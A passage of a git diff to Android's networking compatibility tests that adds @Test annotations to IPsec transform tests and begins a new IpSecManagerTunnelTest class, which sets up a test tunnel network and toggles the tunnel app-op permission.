         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -738,6 +731,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -745,6 +739,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -752,6 +747,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -759,6 +755,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -766,6 +763,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -773,6 +771,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -780,6 +779,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -787,6 +787,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -794,6 +795,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -801,6 +803,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -808,6 +811,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -815,6 +819,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -822,6 +827,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -829,6 +835,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -836,6 +843,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -843,6 +851,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -850,6 +859,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -857,6 +867,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -864,6 +875,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -871,6 +883,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -878,6 +891,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -885,6 +899,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -892,6 +907,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -899,6 +915,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -906,6 +923,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -913,6 +931,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -920,6 +939,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -927,6 +947,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -934,6 +955,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -941,6 +963,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -948,6 +971,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -955,6 +979,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -962,6 +987,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -969,6 +995,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -976,6 +1003,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -983,6 +1011,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -990,6 +1019,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -997,6 +1027,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -1004,6 +1035,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -1011,6 +1043,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -1018,6 +1051,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1025,6 +1059,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1032,78 +1067,91 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testCryptUdp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthUdp4() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptUdp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthUdp6() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptTcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthTcp4() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptTcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthTcp6() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptUdp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
     }
 
+    @Test
     public void testAuthUdp4UdpEncap() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
     }
 
+    @Test
     public void testCryptTcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
     }
 
+    @Test
     public void testAuthTcp4UdpEncap() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
     }
 
+    @Test
     public void testOpenUdpEncapSocketSpecificPort() throws Exception {
         IpSecManager.UdpEncapsulationSocket encapSocket = null;
         int port = -1;
@@ -1132,6 +1180,7 @@
         assertTrue("Returned invalid port", encapSocket.getPort() == port);
     }
 
+    @Test
     public void testOpenUdpEncapSocketRandomPort() throws Exception {
         try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
             assertTrue("Returned invalid port", encapSocket.getPort() != 0);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
new file mode 100644
index 0000000..999d2f1
--- /dev/null
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
@@ -0,0 +1,953 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts;
+
+import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
+import static android.net.IpSecManager.UdpEncapsulationSocket;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_TEST;
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.BytePayload;
+import static android.net.cts.PacketUtils.EspHeader;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.Ip4Header;
+import static android.net.cts.PacketUtils.Ip6Header;
+import static android.net.cts.PacketUtils.IpHeader;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.net.cts.PacketUtils.UdpHeader;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.AF_INET6;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.IpSecAlgorithm;
+import android.net.IpSecManager;
+import android.net.IpSecTransform;
+import android.net.LinkAddress;
+import android.net.Network;
+import android.net.NetworkRequest;
+import android.net.TestNetworkInterface;
+import android.net.TestNetworkManager;
+import android.net.cts.PacketUtils.Payload;
+import android.os.Binder;
+import android.os.Build;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.net.Inet4Address;
+import java.net.Inet6Address;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
+public class IpSecManagerTunnelTest extends IpSecBaseTest {
+    private static final String TAG = IpSecManagerTunnelTest.class.getSimpleName();
+
+    private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
+    private static final InetAddress REMOTE_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.2");
+    private static final InetAddress LOCAL_OUTER_6 =
+            InetAddress.parseNumericAddress("2001:db8:1::1");
+    private static final InetAddress REMOTE_OUTER_6 =
+            InetAddress.parseNumericAddress("2001:db8:1::2");
+
+    private static final InetAddress LOCAL_INNER_4 =
+            InetAddress.parseNumericAddress("198.51.100.1");
+    private static final InetAddress REMOTE_INNER_4 =
+            InetAddress.parseNumericAddress("198.51.100.2");
+    private static final InetAddress LOCAL_INNER_6 =
+            InetAddress.parseNumericAddress("2001:db8:2::1");
+    private static final InetAddress REMOTE_INNER_6 =
+            InetAddress.parseNumericAddress("2001:db8:2::2");
+
+    private static final int IP4_PREFIX_LEN = 32;
+    private static final int IP6_PREFIX_LEN = 128;
+
+    private static final int TIMEOUT_MS = 500;
+
+    // Static state to reduce setup/teardown
+    private static ConnectivityManager sCM;
+    private static TestNetworkManager sTNM;
+    private static ParcelFileDescriptor sTunFd;
+    private static TestNetworkCallback sTunNetworkCallback;
+    private static Network sTunNetwork;
+    private static TunUtils sTunUtils;
+
+    private static Context sContext = InstrumentationRegistry.getContext();
+    private static IBinder sBinder = new Binder();
+
+    @BeforeClass
+    public static void setUpBeforeClass() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity();
+        sCM = (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+        sTNM = (TestNetworkManager) sContext.getSystemService(Context.TEST_NETWORK_SERVICE);
+
+        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
+        // a standard permission is insufficient. So we shell out the appop, to give us the
+        // right appop permissions.
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+        TestNetworkInterface testIface =
+                sTNM.createTunInterface(
+                        new LinkAddress[] {
+                            new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
+                            new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)
+                        });
+
+        sTunFd = testIface.getFileDescriptor();
+        sTunNetworkCallback = setupAndGetTestNetwork(testIface.getInterfaceName());
+        sTunNetwork = sTunNetworkCallback.getNetworkBlocking();
+
+        sTunUtils = new TunUtils(sTunFd);
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // Set to true before every run; some tests flip this.
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+        // Clear sTunUtils state
+        sTunUtils.reset();
+    }
+
+    @AfterClass
+    public static void tearDownAfterClass() throws Exception {
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+
+        sCM.unregisterNetworkCallback(sTunNetworkCallback);
+
+        sTNM.teardownTestNetwork(sTunNetwork);
+        sTunFd.close();
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    private static boolean hasTunnelsFeature() {
+        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
+                || SystemProperties.getInt("ro.product.first_api_level", 0)
+                        >= Build.VERSION_CODES.Q;
+    }
+
+    private static void setAppop(int appop, boolean allow) {
+        String opName = AppOpsManager.opToName(appop);
+        for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
+            String cmd =
+                    String.format(
+                            "appops set %s %s %s",
+                            pkg, // Package name
+                            opName, // Appop
+                            (allow ? "allow" : "deny")); // Action
+            SystemUtil.runShellCommand(cmd);
+        }
+    }
+
+    private static TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
+        // Build a network request
+        NetworkRequest nr =
+                new NetworkRequest.Builder()
+                        .addTransportType(TRANSPORT_TEST)
+                        .removeCapability(NET_CAPABILITY_TRUSTED)
+                        .removeCapability(NET_CAPABILITY_NOT_VPN)
+                        .setNetworkSpecifier(ifname)
+                        .build();
+
+        TestNetworkCallback cb = new TestNetworkCallback();
